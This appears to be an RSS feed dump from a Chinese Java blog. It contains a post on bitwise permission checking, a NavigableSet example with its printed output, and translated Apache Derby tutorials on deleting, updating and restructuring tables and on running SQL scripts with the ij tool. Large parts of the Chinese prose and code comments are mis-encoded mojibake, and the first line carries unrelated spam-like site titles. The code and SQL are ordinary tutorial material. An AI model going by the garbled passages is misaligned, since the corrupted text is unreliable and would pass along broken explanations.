??xml version="1.0" encoding="utf-8" standalone="yes"?>韩国亚洲伊人久久综合影院,国产成人99久久亚洲综合精品,国产亚洲男人的天堂在线观看http://m.tkk7.com/smildlzj/category/27375.htmlLuLuzh-cnSun, 30 Mar 2008 09:30:16 GMTSun, 30 Mar 2008 09:30:16 GMT60Java权限控制的算?http://m.tkk7.com/smildlzj/articles/189575.htmlsmildlzjsmildlzjSun, 30 Mar 2008 02:33:00 GMThttp://m.tkk7.com/smildlzj/articles/189575.htmlhttp://m.tkk7.com/smildlzj/comments/189575.htmlhttp://m.tkk7.com/smildlzj/articles/189575.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/189575.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/189575.html删除Q-Q-0
修改Q-Q-1
dQ-Q-2

 

删除Q-Q-3
修改Q-Q-4
dQ-Q-5

……

  理论上可以有Q个操作Q这取决于你用于储存用户权限值的数据cd了?/p>

  q样Q如果用h权限Q添加AQ-Q?Q删除Q-Q?Q修改Q-Q?。那用户的权限?purview =2^2+2^3+2^4Q?8Q也是2的权的和了。化成二q制可以表示?1100。这P如果要验证用h否有删除Q的权限Q就可以通过位与q算来实现。在Qava里,位与q算q算W号为&Q即是:

int value = purview &((int)Math.pow(2,3));

  你会发现Q当用户有操作权限时Q运出来的l果都会{于q个操作需要的权限|

  原理Q?/p>

  位与q算Q顾名思义是对位q行与运:

  以上面的式子ZQpurview & 2^3 也就是 28&8

  它们化成二q制?/p>

 11100
Q?01000
-------------------
  01000 == 8(十进? Q= 2^3

  同理Q如果要验证是否有删除AQ-Q?的权?/p>

  可以用:purview &((int)Math.pow(2,0));

  卻I

 11100
Q?00001
------------------------
  00000 == 0(十进?  Q= 2^0

  q种法的一个优Ҏ速度快。可以同时处理N个权限。如果想验证是否同时有删除AQ-Q?和删除Q-Q?的权限,可以用purview&(2^0+2^3)==(2^0+2^3)?true:false;讄多角色用戗根据权限值判断用L角色?/p>

  下面提供一个java的单操作权限判断的代码:

//userPurview是用户具有的L?br /> //optPurview是一个操作要求的权限Z个整敎ͼ没有l过权的Q)
public static boolean checkPower(int userPurview, int optPurview)
{
  int purviewValue = (int)Math.pow(2, optPurview);
  return (userPurview & purviewValue) == purviewValue;
}

  当然Q多权限的验证只要扩展一下就可以了?/p>

  几点注意事项Q首先,一个系l可能有很多的操作,因此Q请建立数据字典Q以便查阅,修改时用。其ơ,如果用数据库储存用户权限Q请注意数值的有效范围。操作权限D用唯一的整敎ͼ 




smildlzj 2008-03-30 10:33 发表评论
]]>
[转蝲]?AOP 来记录每个方法的执行旉 http://m.tkk7.com/smildlzj/articles/179310.htmlsmildlzjsmildlzjMon, 04 Feb 2008 14:56:00 GMThttp://m.tkk7.com/smildlzj/articles/179310.htmlhttp://m.tkk7.com/smildlzj/comments/179310.htmlhttp://m.tkk7.com/smildlzj/articles/179310.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/179310.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/179310.html阅读全文

smildlzj 2008-02-04 22:56 发表评论
]]>
排序工具cNavigableSet http://m.tkk7.com/smildlzj/articles/171479.htmlsmildlzjsmildlzjSat, 29 Dec 2007 04:54:00 GMThttp://m.tkk7.com/smildlzj/articles/171479.htmlhttp://m.tkk7.com/smildlzj/comments/171479.htmlhttp://m.tkk7.com/smildlzj/articles/171479.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/171479.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/171479.html
 1 import java.util.ArrayList;
 2 import java.util.List;
 3 import java.util.NavigableSet;
 4 import java.util.TreeSet;
 5 
 6 public class NavigableSetTest{
 7 
 8   public static void main(String[] args) {
 9     List<Integer> list = new ArrayList<Integer>();
10     list.add(1);
11     list.add(2);
12     list.add(10);
13     list.add(4);
14     list.add(5);
15     list.add(9);
16     list.add(8);
17     list.add(7);
18     list.add(6);
19     
20     NavigableSet<Integer> ns = new TreeSet<Integer>(list);
21     System.out.println("默认正序: " + ns);
22     System.out.println("倒序: "+ ns.descendingSet());
23     System.out.println("W一个对象是: "+ns.first());
24     System.out.println("?的对象: "+ns.lower(4));//只返回比N的W一个对?/span>
25     System.out.println("?大的对象: "+ns.higher(2));//只返回比N大的W一个对?/span>
26     NavigableSet<String> nss = new TreeSet<String>();
27     nss.add("a");
28     nss.add("B");
29     nss.add("C");
30     nss.add("d");
31     nss.add("1");
32     nss.add("3");
33     nss.add("3");
34     nss.add("~");
35     nss.add(")");
36     nss.add("abc");
37     nss.add("aaa");
38     System.out.println("字符串默认排? "+nss);
39     
40     
41   }
42 }


输出

默认正序: [1, 2, 4, 5, 6, 7, 8, 9, 10]
倒序: [10, 9, 8, 7, 6, 5, 4, 2, 1]
W一个对象是: 1
?的对象: 2
?大的对象: 4
[), 1, 3, B, C, a, aaa, abc, d, ~]


smildlzj 2007-12-29 12:54 发表评论
]]>
?Apache Derby q行数据库开发,W?6 部分http://m.tkk7.com/smildlzj/articles/163584.htmlsmildlzjsmildlzjTue, 27 Nov 2007 16:17:00 GMThttp://m.tkk7.com/smildlzj/articles/163584.htmlhttp://m.tkk7.com/smildlzj/comments/163584.htmlhttp://m.tkk7.com/smildlzj/articles/163584.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/163584.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/163584.html与创建数据库模式和用数据填充表一P有选择CҎ据是数据库开发h员必备的最重要的技能之一。本文教您如何有选择地删除或更新现有表中的数据以及如何修改现有表的结构。要Ҏ复杂的数据库模式执行数据修改Q您通过数据更新和数据插入操作来学习涉及到标量和表的嵌入式子查找。您q将学习如何使用 Apache Derby 数据库删除和修改复杂模式中的数据?/blockquote>

?/span>

?pd 的前几篇文章已经Q?/p>

  • 介绍?Apache Derby 数据库?
  • 介绍?ij 工具?
  • 演示了如何创建数据库模式、设计关pL据库表以及将数据插入表中?
  • 演示了如何通过~写 SQL 查询提取数据?

未介绍的一个重要Q务是如何修改现有数据。本文介l?SQL DELETE ?UPDATE 语句Q您可以使用它们有选择地删除或修改 Apache Derby 数据库中的现有数据?/p>

要进行本文的CZQ您需要:

  1. h可工作的 Apache Derby 数据库安装,本系列的 W一文?/a> 有介l?
  2. 熟悉 Apache Derby ij 命o行工P本系列的 W二文?/a> 有介l?
  3. h正确初始化的 Bigdog ?Surf Shop CZ数据库,本系列的 W四文?/a> ?W五文?/a> 有详l介l?
  4. 熟悉 SQL SELECT 语句的基知识Q本pd?W五文?/a> 有介l?

如果您还不具备这些条ӞL保在l箋下文之前完成上述步骤Q通过回顾本系列的前几文章可以很Ҏ地实现?/p>



回页?/strong>


删除数据

本文介l的W一个数据修Ҏ术是删除数据。要删除 Apache Derby 数据库中的数据,可以使用 SQL DELETE 语句Q它可以删除表中的所有行Q也可以删除特定的行子集。可以用?Apache Derby 数据库的 SQL DELETE 语句的正式语法相当简单,如下所C:

DELETE FROM tableName
[WHERE clause]


DELETE 语句从指定表中删除满_?WHERE 子句的所有行。如果没有包括Q?WHERE 子句Q则删除表中的所有行。ؓ了演C?DELETE 语句的这U用法,创徏一个时表Q插入几行,然后全部删除Q如 清单 1 所C?


清单 1. 删除?/strong>
ij> CREATE TABLE bigdog.temp (aValue INT) ;
            0 rows inserted/updated/deleted
            ij> INSERT INTO bigdog.temp VALUES(0), (1), (2), (3) ;
            4 rows inserted/updated/deleted
            ij> SELECT COUNT(*) AS COUNT FROM bigdog.temp ;
            COUNT
            -----------
            4
            1 row selected
            ij> DELETE FROM bigdog.temp ;
            4 rows inserted/updated/deleted
            ij> SELECT COUNT(*) AS COUNT FROM bigdog.temp ;
            COUNT
            -----------
            0
            1 row selected
            ij> DROP TABLE bigdog.temp ;
            0 rows inserted/updated/deleted

本例创徏保存整数值的单列临时表。您四行插入数据库中,然后执行 SELECT 语句以验证新表包含四行。通过使用无约束的 DELETE 语句Q将删除临时表中的全部四行,q通过来自 Apache Derby 的消?4 rows inserted/updated/deleted 和第二个 SELECT 语句来验证,该语句指明时表包含 0 行。最后,DROP TABLE 语句删除模式中的I?

但是Q一般地Q您不希望删除表中的所有行Q而是有选择地删除行。ؓ此,创徏一个适当?WHERE 子句来标识所有相兌。与 DELETE 一起用的 WHERE 子句的语法与 W?4 部分 中讨论的语法一P该部分提供了完全?SQL SELECT 语句语法。在 WHERE 子句中构造布表辑ּ的基本构建块在那文章的?1 提供Qƈ在本文的 清单 2 中演C,在此您将删除臛_满两个条g之一的所有行?/p>
清单 2. 删除所选行
ij> DELETE FROM bigdog.products
            WHERE description LIKE '%towel%' OR itemNumber <= 3 ;
            5 rows inserted/updated/deleted
            ij> SELECT itemNumber, description FROM bigdog.products ;
            ITEMNUMBER |DESCRIPTION
            ----------------------------------------------------
            4          |Male bathing suit, blue
            5          |Female bathing suit, one piece, aqua
            6          |Child sand toy set
            9          |Flip-flop
            10         |Open-toed sandal
            5 rows selected

在本例中Q?code>DELETE 语句包括了一个标?5 行的 WHERE 子句Q您可以通过 ij 工具?Apache Derby q回的帮助消?5 rows inserted/updated/deleted 中看到?code>WHERE 子句包含?OR 操作W联l的两个表达式,q意味着对于特定行,如果M表达式gؓ TRUEQ则删除该行?

W一个表辑ּ查找产品描述中包含单?“towel” 的所有行。如果回忆本pd前几文章(或者在 DELETE 语句之前执行 SELECT 语句Q,?bigdog.products 表中有两?towelQ其 itemNumber 列gؓ 7 ?8。另一个表辑ּ选择 itemNumber 列值小于或{于 3 的所有行?code>bigdog.products 表的内容最l用一个简单的 SELECT 语句昄Q展CZ只有原来 10 行中?5 行保留在表中?

您还可以包括 W?5 部分 中讨论的 SQL 函数以获得对删除行的选择的更多控Ӟ但是本例中没有明演C些函数的使用。可用于 DELETE 语句?WHERE 子句中的相同函数和其他操作符q可以与 UPDATE 语句一起用,从而有选择C改表中行的|如下一节所q?





回页?/strong>


更新数据

您需要进行的处理数据的最后一?SQL d是更新表中选定行的特定列倹{在某种E度上,SQL UPDATE 语句?SQL INSERT ?DELETE 语句的联合,因ؓ您必选择要修改的行,q必L定如何修改它们。Ş式上Q?code>UPDATE 语句语法非常单,因ؓ您必L定要更新的行集合的新的列|?清单 3 所C?


清单 3. SQL UPDATE 语句语法
UPDATE tableName
            SET columnName = Value
            [ , columnName = Value} ]*
            [WHERE clause]

如该 SQL 语法所C,SQL UPDATE 语句必须臛_h一?SET lg来更C列,以及一个或多个 SET lg和一?WHERE 子句Q这些是可选的。如果没有包?WHERE 子句Q则 UPDATE 语句修改表中所有行的指定列?

执行 UPDATE 语句相当ҎQ如 清单 4 所C,其中修改了单个行的两列?


清单 4. 更新所选行
ij> SELECT itemNumber, price, stockDate FROM bigdog.products WHERE itemNumber = 6 ;
            ITEMNUMBER |PRICE   |STOCKDATE
            -------------------------------
            6          |9.95    |2006-01-15
            1 row selected
            ij> UPDATE bigdog.products
            SET price = price * 1.25, stockDate = CURRENT_DATE
            WHERE itemNumber = 6 ;
            1 row inserted/updated/deleted
            ij> SELECT itemNumber, price, stockDate FROM bigdog.products WHERE itemNumber = 6 ;
            ITEMNUMBER |PRICE   |STOCKDATE
            -------------------------------
            6          |12.43   |2006-06-20
            1 row selected

本示例在 UPDATE 语句的前后都使用?SELECT 语句Q以证实对目标行的更攏V?code>SELECT 语句?bigdog.products 表选择了单个行Q?code>itemNumber 列gؓ 6 的行Q的三列?code>UPDATE 语句修改该特定行?price ?stockDate 列?code>price 列中的值增?25%Q例如,可能׃货品很抢手)Q?code>stockDate 列被修改以保存当前日期,通过?SQL 查询中?CURRENT_DATE 内置函数Q可以在 Apache Derby 中很Ҏ获得该日期?

Apache Derby 包括一些内|函敎ͼ您可以用它们获得与当前数据库连接相关的数据。这些内|函数的完整列表??1 所C?/p>
?1. Apache Derby SQL 当前函数
函数 描述
CURRENT_DATE 以合适的 Apache Derby DATE 格式q回当前日期
CURRENT_ISOLATION 以两字符字符串返回当前事务处理隔ȝ别,q将在后l文章中详细讨论
CURRENT_SCHEMA 以最?128 个字W的字符串返回模式名Uͼ用于限定未限定的数据库对象名U?/td>
CURRENT_TIME 以合适的 Apache Derby TIME 格式q回当前旉
CURRENT_TIMESTAMP 以合适的 Apache Derby TIMESTAMP 格式q回当前旉?/td>
CURRENT_USER 以最?128 个字W的字符串返回当前用L授权标识W,如果没有当前用户Q则q回 APP

上例演示了如何修改单个表中特定行的多个列倹{但是有时候,用于选择要更新的行的逻辑比较复杂。例如,假设您需要修?bigdog.products 表中?Quiet Beach Industries 中获得的所有对象的hQQuiet Beach Industries ?bigdog.vendors 表中 vendorNumber 列的gؓ 3。ؓ此,您需要用嵌入式查询Q如 清单 5 所C?


清单 5. 使用嵌入?SELECT 更新?/strong>
ij> UPDATE bigdog.products
            SET price = price * 1.10, description = 'NEW: ' || description
            WHERE itemNumber IN
            ( SELECT v.itemNumber
            FROM bigdog.products as p, bigdog.vendors as v
            WHERE p.itemNumber = v.itemNumber AND v.vendorNumber = 3 ) ;
            2 rows inserted/updated/deleted
            ij> SELECT * FROM bigdog.products ;
            ITEMNUMBER |PRICE   |STOCKDATE |DESCRIPTION
            ------------------------------------------------------------------------
            4          |29.95   |2006-02-10|Male bathing suit, blue
            5          |49.95   |2006-02-20|Female bathing suit, one piece, aqua
            6          |12.43   |2006-06-20|Child sand toy set
            9          |14.24   |2006-03-12|NEW: Flip-flop
            10         |38.44   |2006-01-24|NEW: Open-toed sandal
            5 rows selected

在本例中Q?code>UPDATE 语句修改?bigdog.vendors 表中 vendorNumber 列gؓ 3 的供应商获得的所有品的 price ?description 列。因Z能在 UPDATE 语句中进行简单联l,所以必d WHERE 子句中包括子查询Q以提取与来?Quiet Beach Industries 的品对应的 itemNumber 行?code>UPDATE 中的 WHERE 子句使用 IN 操作W选择 itemNumber 列值属于嵌入式子查询所选的值集合的那些行?

两种查询可以用于 UPDATE 语句?WHERE 子句中:标量子查?/em> ?em>表子查询。标量子查询是一U嵌入式查询Q返回包含单个列的单个行Q本质上是单个|该值称?em>标量。可以用标量子查询选择用?WHERE 子句的表辑ּ中的特定倹{例如,itemNumber = (标量子查? 更新 itemNumber 列g标量子查询结果匹配的M行?

另一斚wQ表子查询可以返回多个行Q这些行通常只有一列。在某些情况下,表子查询可以包含多个列。要使用表子查询Q需要?SQL 操作W将嵌入式查询与布尔表达式组合在一赗例如,如上一代码清单所C,IN 操作W选择 bigdog.products 表中?Quiet Beach Industries 生的所有行?code>IN 操作W是可以用于表子查询的四?SQL 操作W之一。全部四个操作符??2 所q?


?2. Apache Derby SQL 操作W和表子查询
操作W?/th> CZ 描述
IN itemNumber INQ表子查询) 如果表达式的值在表子查询中,则返?TRUEQ该表子查询只能q回单个列。可以包?NOT 操作W,?NOT INQ以仅选择不在表查询中的行?/td>
EXISTS EXISTSQ表子查询) 如果表子查询q回M行,则返?TRUEQ如果没有选择M行,则返?FALSE。这意味着Q取决于表子查询选择的行敎ͼ修Ҏ有行或不修改M行。可以包?NOT 操作W以反{该规则?/td>
ALL itemNumber = ALLQ表子查询) UCؓ量化比较Q因?ALL 关键字修Ҏ较操作符Q?code>=?code><?code>>?code><=?code>>= ?<> 之一Q,所以仅当对所有行都ؓ真时Q结果才?TRUE。该表子查询可以q回多个行,但它们必d有一个列?/td>
ANY itemNumber = ANY Q表子查询) 另一个量化比较,但是在这个查询中Q如果它对于M行ؓ真,则结果ؓ TRUE?code>SOME 可以用作 ANY 的同义词。该表子查询可以q回多个行,但它们必d有一个列?/td>

通过使用 ?2 中的信息Q应该看到如果您重新~写 清单 4 ?UPDATE 语句中的 WHERE 子句Q以使用量化比较和相同的表子查询 WHERE itemNumber = ANY (...)Q您获得相同的l果。如果?ALL 操作W和相同的表子查询,则不更新M行,因ؓ bigdog.products 表中的所?itemNumber g在表查询中。另一斚wQ如果?EXISTS 操作W,则将修改所有行Q因有一?itemNumber 值存在于表子查询中?





回页?/strong>


修改表模?/span>

上一节讨Z修改表中现有的数据。还可以修改数据库表的结构或模式。这可以采用d列、更改列的数据类型、添加约束或者甚臛_除列的方式来实现?该过Eƈ不简单,所以当您开始设计模式时一定要认真。如果不需要修改表的结构,则需要用时表Q如 清单 6 所C?


清单 6. 更新?/strong>
ij> CREATE TABLE bigdog.newProducts (
            itemNumber INT NOT NULL,
            price DECIMAL(5, 2),
            stockDate DATE,
            count INT NOT NULL DEFAULT 0,
            description VARCHAR(40)
            ) ;
            0 rows inserted/updated/deleted
            ij> INSERT INTO bigdog.newProducts(itemNumber, price, stockDate, description)
            SELECT itemNumber, price, stockDate, description FROM bigdog.products ;
            5 rows inserted/updated/deleted
            ij> DROP TABLE bigdog.products ;
            0 rows inserted/updated/deleted
            ij> RENAME TABLE bigdog.newProducts TO products ;
            0 rows inserted/updated/deleted
            ij> SELECT * FROM bigdog.products ;
            ITEMNUMBER |PRICE   |STOCKDATE |COUNT      |DESCRIPTION
            ------------------------------------------------------------------------------------
            4          |29.95   |2006-02-10|0          |Male bathing suit, blue
            5          |49.95   |2006-02-20|0          |Female bathing suit, one piece, aqua
            6          |12.43   |2006-06-20|0          |Child sand toy set
            9          |14.24   |2006-03-12|0          |NEW: Flip-flop
            10         |38.44   |2006-01-24|0          |NEW: Open-toed sandal
            5 rows selected

如本例所C,要修改表Q在本例中是一个新?count d?bigdog.products 表中Q首先要创徏一个具有需要的正确模式的表。本例需要包括列U束 NOT NULL 使之始终h有效的|q过使用列约?DEFAULT 0 ?count 列分配默认?0。注意如何通过列序列出来合q多列约束?

下一步是现有数据从原始表复制到新表中。可以通过使用 SQL INSERT 语句来实玎ͼ该语句用一个子查询来获得要插入的倹{这是一U功能强大的技术,允许您很Ҏ地将现有表的全部或部分复制到W二个表中?

创徏新表q复制了合适的数据之后Q通过使用 SQL DROP TABLE 语句删除旧表Qƈ通过使用 SQL RENAME TABLE 语句新表重命名为原来的名称。重命名操作十分单:?oldTableName 重命名ؓ newTableNameQ但不ؓ新表名提供模式名Uͼ因ؓ RENAME 操作不能在不同的数据模式间移动表。本例最后执?SELECT 语句以显C新 bigdog.products 表的模式和内宏V可以看刎ͼ新表h 5 列,count 列始lؓ 0。这Ӟ真正的应用程序将通过执行必要?SQL UPDATE 语句来适当修改 count 列?





回页?/strong>


l束?/span>

本文专门介绍修改 Apache Derby 数据库中的数据。讨论的W一U数据修Ҏ术是数据删除Q这通过使用 SQL DELETE 语句来执行。然后?SQL UPDATE 语句来修改表中选定行的列倹{最后,使用临时表来修改现有数据表的l果。本文还演示了如何通过使用嵌入式子查询来修Ҏ较复杂的数据库模式。下一文章将介绍其他一些高U的数据库主题,之后本系列将开始讨论如何从 Java 应用E序q接?Apache Derby 数据库?/p>

smildlzj 2007-11-28 00:17 发表评论
]]>
?Apache Derby q行数据库开发,W?3 部分http://m.tkk7.com/smildlzj/articles/163575.htmlsmildlzjsmildlzjTue, 27 Nov 2007 15:39:00 GMThttp://m.tkk7.com/smildlzj/articles/163575.htmlhttp://m.tkk7.com/smildlzj/comments/163575.htmlhttp://m.tkk7.com/smildlzj/articles/163575.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/163575.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/163575.html学习如何创徏自文档化 SQL 命o文gQ通过?SQL 命o与有用的注释一h|在文本文g中,可以Ҏ需要执行Q意多ơ。介l?SQL 脚本文g的基本原理之后,本文展示了三U执行脚本文件的Ҏ。然后您回?SQL INSERT 语句数据插入表中的基本原理Q其中包括查看用不同方式插?10 个新行的CZ。最后,本文展示了一个脚本,该脚本自动化?INSERT 操作q显C新插入的数据以供验证?/blockquote>

SQL 脚本

在本pd的上一文?“?Apache Derby q行数据库开发,W?2 部分Q模?/a>”Q?006 q?4 月)Q在 ij 工具的提C符处直接执?SQL 命o。通过使用 ij 工具Q可以简单地用不同的 SQL ?Derby 命oq行试验。但是,通常您将需要执行多个复杂的命o。ؓ了简化调试一l复杂的 SQL 命oQ将其写入文本文件中然后一ơ执行文本文件中的所有命令通常更加Ҏ。该操作被称?em>q行 SQL 脚本Q可以通过使用 Apache Derby 很容易地实现该操作。通过?SQL 命o攄在脚本文件中Q您获得能够根据需要多ơ执行命令的附加好处?/p>

脚本文g不难使用Q如 清单 1 所C的W一?Derby SQL 脚本CZ?/p>
清单 1. W一?Derby SQL 脚本
-- Ignore the database not created warning if present
            connect 'jdbc:derby:test;create=true' ;
            -- First delete the tables if they exist.
            -- Ignore the table does not exist error if present
            DROP TABLE bigdog.products ;
            DROP TABLE bigdog.vendors ;
            -- CREATE the products table for bigdog's Surf Shop
            CREATE TABLE bigdog.products (
            itemNumber INT NOT NULL,
            price DECIMAL(5, 2),
            stockDate DATE,
            description VARCHAR(128)
            ) ;
            -- CREATE the products table for bigdog's Surf Shop
            CREATE TABLE bigdog.vendors (
            itemNumber INT NOT NULL,
            vendornumber INT NOT NULL,
            vendorName CHAR(64)
            ) ;
            exit ;
            

清单 1 所C的脚本重新创徏了本pd上一文章中演示?bigdog 模式和两个表Q?code>products ?vendorsQ。如果不清楚其中M一个概念,在l本文之前您应该q回q?阅读该文?/a>。因为本文将介绍数据插入表的基本原理,所以您首先需要创建准备接受新数据的表?

~辑 Derby SQL 脚本
脚本文g只是一U包含可以从 Apache Derby ij 工具直接q行?SQL 命o?Apache Derby 命o的组合的文本文g。脚本文件简化了 Apache Derby 数据库的开发和l护Qƈ提供了一U用于构建数据库的自文档化技术。您应该这些文件存储ؓ ASCII 文本文gQ而非 RTF 文gQ或其他M格式Q,以防止文本编码错误。一些文本应用程序(比如 Microsoft® Windows® pȝ中的写字板)可能试图文件自动保存ؓ富文本文件。一定要心q一点,否则可能在尝试执行脚本文件时出现问题?

无需用于创?SQL 命o直接输入?Derby ij 工具中,您可以将其放入文本文件中Qƈ?ij 工具直接q行文g中的命o。本文包括一?.zip 文gQ参?下蝲 一节以讉K该文ӞQ其中包含两个脚本文Ӟ一个是 derby.create.sqlQ如 清单 1 所C。因为本文将逐步介绍该脚本文件中的代码行Q所以您既可以参?清单 1 所C的代码Q也可以用您偏爱的文本编辑器打开该脚本文件?

该脚本文件包括了用两个破折号 (--) 开头的几行。这些行?SQL 注释Q您应该使用它们来提供脚本文件中每个主要lg的用途的基本描述?脚本中的W一个实际命令是 Derby connect 命oQ它告诉 ij 工具q接 test 数据库,必要的话要先创徏数据库。下一个命令是 SQL DROP 语句Q它删除 bigdog 模式中的产品和供应商表。如果表不存在(当数据库刚创建时׃出现q种情况Q,显CZ条错误消息;但前面的 SQL 注释指明Q您可以安全地忽略这些消息?

如果存在的话Q首先放弃这些表Q以便您可以用所需的正的列定义创建新表。后两条 SQL 语句执行该操作Q在 bigdog 模式中创Z品和供应商表。脚本以 exit 命ol束Q终止了与数据库的连接,q允?ij 工具优雅地退出。下一步将学习如何执行 Derby 脚本文g?/p>

?ij 中运行脚?/span>

脚本文g仅在可用于执行文件中列出的命令时才有用。要执行 SQL 脚本文g中的命oQ最单的Ҏ是从 ij 工具中运行脚本文件。但是,在可以运行之前,需要创Z个测试目录ƈ展开 derby4.zip 文gQ该文g可在本文下蝲Q参?下蝲 一节)。该q程?清单 2 所C?


清单 2. ?ij 中运?SQL 脚本
rb$ mkdir test
            rb$ cp derby4.zip test/
            rb$ cd test/
            rb$ unzip derby4.zip
            Archive:  derby4.zip
            inflating: derby.create.sql
            inflating: derby.insert.sql
            rb$ ls
            derby.create.sql      derby.insert.sql      derby4.zip
            rb$ java org.apache.derby.tools.ij
            ij version 10.1
            ij> run 'derby.create.sql' ;
            ij> -- Ignore the database not created warning if present
            connect 'jdbc:derby:test;create=true' ;
            ij> -- First delete the tables if they exist.
            -- Ignore the table does not exist error if present
            DROP TABLE bigdog.products ;
            ERROR 42Y07: Schema 'BIGDOG' does not exist
            ij> DROP TABLE bigdog.vendors ;
            ERROR 42Y07: Schema 'BIGDOG' does not exist
            ij> -- CREATE the products table for Bigdog's Surf Shop
            CREATE TABLE bigdog.products (
            itemNumber INT NOT NULL,
            price DECIMAL(5, 2),
            stockDate DATE,
            description VARCHAR(128)
            ) ;
            0 rows inserted/updated/deleted
            ij> -- CREATE the products table for Bigdog's Surf Shop
            CREATE TABLE bigdog.vendors (
            itemNumber INT NOT NULL,
            vendornumber INT NOT NULL,
            vendorName CHAR(64)
            ) ;
            0 rows inserted/updated/deleted
            ij> exit ;
            

虽然 清单 2 g对于执行 Derby 脚本有些冗长Q但q程十分单。该CZ假设您具有开攄l端Q或Windows Command q程H口Q但要注意,本例中的一些步骤是特定?UNIX® 的)Qƈ且您已经更改C存包含本文提供的 两个脚本文g ?derby4.zip 文g的目录。要最化M错误的几率,首先创徏一个新目录Q将 derby4.zip 文g复制到新目录中,q更改到q个新目录。然后展开CZ .zip 文g。如目录清单所C,现在您在新目录中h三个文gQderby4.zip、derby.create.sql ?derby.insert.sql。现在,您将只?create 脚本文gQ?insert 脚本文g在本文的最后用?

如果出问题怎么办?
有时候,不管您怎么努力Q事情不会L如您所ѝ如果不能安全地执行 derby.create.sql 脚本Q有许多可能性需要检查:
  • 保 Derby ij 工具正确启动。若非如此,您可能遇?CLASSPATH 工具问题?
  • 保h创徏新数据库的空闲磁盘空间?
  • 保在试图执行脚本文件的目录中具有正的权限Q读取脚本文件和创徏新数据库Q?
  • 保脚本文g是简单的 ASCII 文本文g?
如果全都不是Q则查最新的 Derby 文档Q该文档可从 Apache Derby Web 站点Q参?参考资?/a> 一节中的链接)上免费获得,或在 Derby 邮g列表中询问您的问题?

清单 2 的其余部分展C如何从 Derby ij 工具中执?derby.create.sql 脚本文g?首先启动 ij 工具。如果启动时出现问题Q您可能需要回?本系列第一文?/a> 中提供的 Derby 安装验证步骤。看?ij> 提示之后Q就可以q行合适的脚本文g了。通过使用 run 命o可实现该操作Q该命o接受单个参数Q单引号括v的脚本文件名?/p>

当该脚本执行Ӟ您可能会看到?ij> 提示、命令和警告或错误消息的l合。这U显C可能有些笨拙,?run 命o会执行您的脚本文Ӟ像您直接将命o键入 ij 工具中一栗最后,处理 exit 命oQ脚本完成,关闭 ij 工具。如果第一个脚本执行的输出?清单 2 所C的相匹配,那么恭喜您了。您现在已经有了一个带有两个可以保存数据的新表的新试数据库了?

虽然?ij 工具中执行脚本十分有效,但是有时候进一步自动化该过E会更加Ҏ。下一节将讨论如何从命令行直接执行 Derby 脚本文g?

从命令行q行脚本

本节介绍从命令行q行脚本的两U方法。第一U方法如 清单 3 所C?


清单 3. 从命令行q行 SQL 脚本
rb$ java org.apache.derby.tools.ij derby.create.sql
            ij version 10.1
            ij> -- Ignore the database not created warning if present
            connect 'jdbc:derby:test;create=true' ;
            WARNING 01J01: Database 'test' not created, connection made to existing database instead.
            ij> -- First delete the tables if they exist.
            -- Ignore the table does not exist error if present
            DROP TABLE bigdog.products ;
            0 rows inserted/updated/deleted
            ij> DROP TABLE bigdog.vendors ;
            0 rows inserted/updated/deleted
            ij> -- CREATE the products table for Bigdog's Surf Shop
            CREATE TABLE bigdog.products (
            itemNumber INT NOT NULL,
            price DECIMAL(5, 2),
            stockDate DATE,
            description VARCHAR(128)
            ) ;
            0 rows inserted/updated/deleted
            ij> -- CREATE the products table for Bigdog's Surf Shop
            CREATE TABLE bigdog.vendors (
            itemNumber INT NOT NULL,
            vendornumber INT NOT NULL,
            vendorName CHAR(64)
            ) ;
            0 rows inserted/updated/deleted
            ij> exit ;
            

清单 3 展示了直接从命o行执行脚本文件的W一U方法。在q种情况下,提供脚本文g名作?ij 工具的命令行参数。脚本文件中的行像以前一栯取,q序处理。如果首先从 ij 工具中直接执?derby.create.sql 文gQ现在在命o行运行相同目录中的同一脚本文gQ您应该会看到类g 清单 3 中的输出Q一切都在清单中W一行之后)。如上所C,您收C条警告消息,指明试数据库未创徏Q因为它已经存在。但是,q次您不会收到指明不能放弃两个表的错误消息,因ؓ您已l创Z它们Q如 清单 2 所C)。在攑ּ产品和供应商表之后,您重新创建它们,脚本退出?

q有另一U方法来q行 Derby 脚本Q重定向 ij 工具的标准输入以从脚本文件中d。在Z UNIX 的操作系l中Q通过使用适合您的 shell ?STDIN 重定向字W最Ҏ实现了,比如?Bash shell 使用于?(<)。这U方法在 清单 4 中展C,h减少屏幕上显C的输出量的好处?


清单 4. 从命令行q行 SQL 脚本Q第 2 部分Q?/strong>
rb$ java org.apache.derby.tools.ij < derby.create.sql
            ij version 10.1
            ij> WARNING 01J01: Database 'test' not created, connection made to existing database instead.
            |-------- XML error:  The previous line is longer than the max of 90 characters ---------|
            ij> 0 rows inserted/updated/deleted
            ij> 0 rows inserted/updated/deleted
            ij> 0 rows inserted/updated/deleted
            ij> 0 rows inserted/updated/deleted
            ij>
            rb$
            

?清单 4 中可以看刎ͼ当您通过重定?ij 工具的标准输入执行脚本时Q惟一昄的文本是来自 ij 工具的消息,其中包括 0 rows inserted/updated/deleted {信息消息或警告和错误消息。如果想要消除这些消息,可以重定?ij 工具的标准输出和标准错误。例如,如果正在 Bash shell 中工作,则可以?

java org.apache.derby.tools.ij < derby.create.sql > derby.create.out 2> derby.create.err

实现q一点,它运?derby.create.sql 脚本文gQ将输出消息保存?derby.create.out 中,q将所?ij 错误消息保存?derby.create.err 中?

现在您将x使用 Apache Derby 数据插入表的过E。要l箋q行Q您需要一?Derby 数据库,它必d有可用的产品表。如果您q未实现此步骤,您需要执?derby.create.sql 脚本文g?





回页?/strong>


?Apache Derby 中插入数?/span>

构徏数据库应用程序时最重要的Q务之一是将数据插入到数据库中。这与数据库软g的好坏无养I如果坏数据攑օ数据库中Q其他一切都不重要了。有许多Ҏ可以数据插入数据库中,但下文将主要使用 SQL INSERT 语句数据插?Apache Derby 数据库中?

SQL INSERT 语句

